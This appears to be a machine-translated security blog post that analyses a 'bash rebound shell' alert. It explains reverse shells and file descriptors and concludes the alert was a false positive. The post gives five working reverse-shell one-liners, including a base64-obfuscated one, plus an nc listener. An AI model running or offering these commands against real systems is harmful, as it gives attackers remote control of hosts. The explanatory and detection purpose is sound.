(1) The compromised host initiates a reverse connection using the bash command

0 20
1.Cause(One) Alarm InformationA security detection system of a certain host prod...

1.Cause

(One) Alarm Information

A security detection system of a certain host produced an alarm information named "bash rebound shell":

Initiator: IP1

Rebound Connection Command: /bin/bash /usr/bin/egrep -i processor|core id|physical id

Receiving Host: IP2 (80)

(Two) The Proposal of the Problem

Is the behavior of the relevant command in the alarm a rebound shell? What are the principles for judging bash rebound shell?

Below, we will conduct a simple study on the general implementation of bash rebound shell, summarize the principles for judging bash rebound shell, in preparation for similar events in the future.

Two,ReboundThe concept of shell

(1)What is rebound shell

Rebound shell (reverse shell) is the behavior where the control end listens to a specified TCP/UDP port, the controlled end actively connects to the listening port of the control end, and hands over the local machine's cmd shell to the control end. Rebound shell is relative to the "forward" shell such as telnet, ssh, etc., reversing the roles of client and server in the traditional concept.

1702281011_6576bf3302ecb3e074ace.png!small?1702281012331

(II)Applicable scenarios of rebound shell

  • The compromised host is located behind the firewall, the firewall prohibits the external network from actively connecting to the compromised host, but allows the compromised host to initiate external connections.
  • The IP address of the compromised host is dynamic, and the attacker will lose the connection after the IP changes.
  • The compromised host is located in the internal network, connected to the external network through address translation, and the external host cannot actively connect to the compromised host.
  • The specified port on the compromised host is occupied, and the Trojan backdoor program cannot listen to the preset port.

Three,File Descriptor and Redirect

File descriptor (File Descriptor, fd) in Linux has the following definition:

  • File descriptor 0 represents standard input, which is default to the keyboard
  • File descriptor 1 represents standard output, which is default to the monitor
  • File descriptor 2 represents standard error, which is default to the monitor

Linux system only defines 0 to 2 as the usage of file descriptors, numbers above 3 can be specified for their usage. See the following example:

echo "12345678" > file.txt

exec 3<file.txt

grep "1234"<&3;

Output:

12345678

Explanation:

echo "12345678" > file.txt // Redirect 12345678 to the file, creating the file and writing the content

exec 3<file.txt // Create file descriptor 3 and point it to the file test.txt

grep "1234"<&3 // Use the file descriptor 3 specified file as the input of the grep command, and the final query got the result

Four,Rebound Shell Example

(1)The compromised host initiates a reverse connection using the bash command

Example 1:

bash -i >& /dev/tcp/192.168.122.1/5554 0>&1;

1702281031_6576bf477f8298e2fc7ce.png!small?1702281032901Explanation:

bash -i // Create an interactive bash process

/dev/tcp/192.168.122.1/5554 // Specify the file (establish a connection with the 5554 port of 192.168.122.1. In Linux systems, network connections are also considered as files)

>& // The writing style of cmd >& is equivalent to cmd >& file 2>&1, which means redirecting the standard output and standard error of bash to a file, which is the 5554 port of 192.168.122.1

0>&1 // Redirect the standard input of bash to standard output, and the standard output is at the 5554 port of 192.168.122.1, so 192.168.122.1 gets the standard output, standard output, and standard error of the compromised host, achieving a reverse shell

Example 2:

bash -i 5<>/dev/tcp/192.168.122.1/5554 0>&5 1>&5;

Explanation:

bash -i // Create an interactive bash process

5<>/dev/tcp/192.168.122.1/5554 // Point file descriptor 5 to the 5554 port of 192.168.122.1

0>&5 // Redirect the standard input to file descriptor 5, which is the 5554 port of 192.168.122.1

1>&5 // Redirect the standard output to file descriptor 5, which is the 5554 port of 192.168.122.1

Thus, 192.168.122.1 gets the standard input and standard output of the compromised host, although there is no standard error, but it also achieves a reverse shell

Example 3:

exec 5<>/dev/tcp/192.168.122.1/5554

cat <&5 | while read line 0<&5; do $line 2>&5 >&5; done

1702281053_6576bf5d6944a13aefb17.png!small?1702281054650Explanation:

exec 5<>/dev/tcp/192.168.122.1/5554 // Redirect file descriptor 5 to the 5554 port of 192.168.122.1

cat <&5 // Use cat to read the content of file descriptor 5, which means reading the input from the 5554 port of 192.168.122.1

| // Pipeline character, use the result of cat as the input for the following command

while read line; do $line >&5; done // In the while loop, read each line from file descriptor 5, execute it as a command, and then redirect the standard output and standard error to file descriptor 5, which is the 5554 port of 192.168.122.1

Example 4:

0<&56-;exec 56<>/dev/tcp/192.168.122.1/5554;sh <&56 >&56 2>&56;

1702281069_6576bf6d6e683ece68925.png!small?1702281070349Although there is an error, the reverse connection is successful.

Explanation:

0<&56- //Redirect standard input to file descriptor 56

exec 56<>/dev/tcp/192.168.122.1/5554 //Redirect file descriptor 56 to port 5554 of 192.168.122.1

sh <&56 >&56 2>&56 //Standard input is redirected to file descriptor 56, and the standard output and standard error are also redirected to file descriptor 56

Example 5:

Base64 encode the reverse connection command

bash -i >& /dev/tcp/192.168.122.1/5554 0>&1;

Encoded as:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyMi4xLzU1NTQgMD4mMQ==}|{base64,-d}|{bash,-i}

(II)The attacker isVPSAboveListen to the reverse connection

//Listen to the local 5554 port, and the shell can be obtained after the attacker runs the reverse command

nc -l -p 55541702281094_6576bf86a328116e0111a.png!small?1702281095606

Obtained a reverse shell.

VSummary

Through the above research on bash reverse shell, it can be known that in order to achieve a successful reverse connection, it is first necessary to specify the IP address and listening port of the VPS host to which the reverse connection is to be made, and then redirect the standard input, standard output, and standard error of the compromised host command line to the VPS. From this, it can be seen that the previous bash reverse shell alert information is not a reverse shell because there is no specification of the remote host and port in the bash command, nor is there any redirection operation, so it can be determined as a false positive.

你可能想看:

Announcement regarding the addition of 7 units as technical support units for the Ministry of Industry and Information Technology's mobile Internet APP product security vulnerability database

Ensure that the ID can be accessed even if it is guessed or cannot be tampered with; the scenario is common in resource convenience and unauthorized vulnerability scenarios. I have found many vulnerab

As announced today, Glupteba is a multi-component botnet targeting Windows computers. Google has taken action to disrupt the operation of Glupteba, and we believe this action will have a significant i

It is possible to perform credible verification on the system boot program, system program, important configuration parameters, and application programs of computing devices based on a credible root,

In today's rapidly developing digital economy, data has become an important engine driving social progress and enterprise development. From being initially regarded as part of intangible assets to now

(3) Is the national secret OTP simply replacing the SHA series hash algorithms with the SM3 algorithm, and becoming the national secret version of HOTP and TOTP according to the adopted dynamic factor

4.5 Main person in charge reviews the simulation results, sorts out the separated simulation issues, and allows the red and blue teams to improve as soon as possible. The main issues are as follows

5. Collect exercise results The main person in charge reviews the exercise results, sorts out the separated exercise issues, and allows the red and blue sides to improve as soon as possible. The main

Case of cyber security planning project for a financial institution under the background of data security and security compliance

b) It should have a login failure handling function, and should configure and enable measures such as ending the session, limiting the number of illegal login attempts, and automatically logging out w

最后修改时间:
admin
上一篇 2025年03月24日 22:10
下一篇 2025年03月24日 22:32

评论已关闭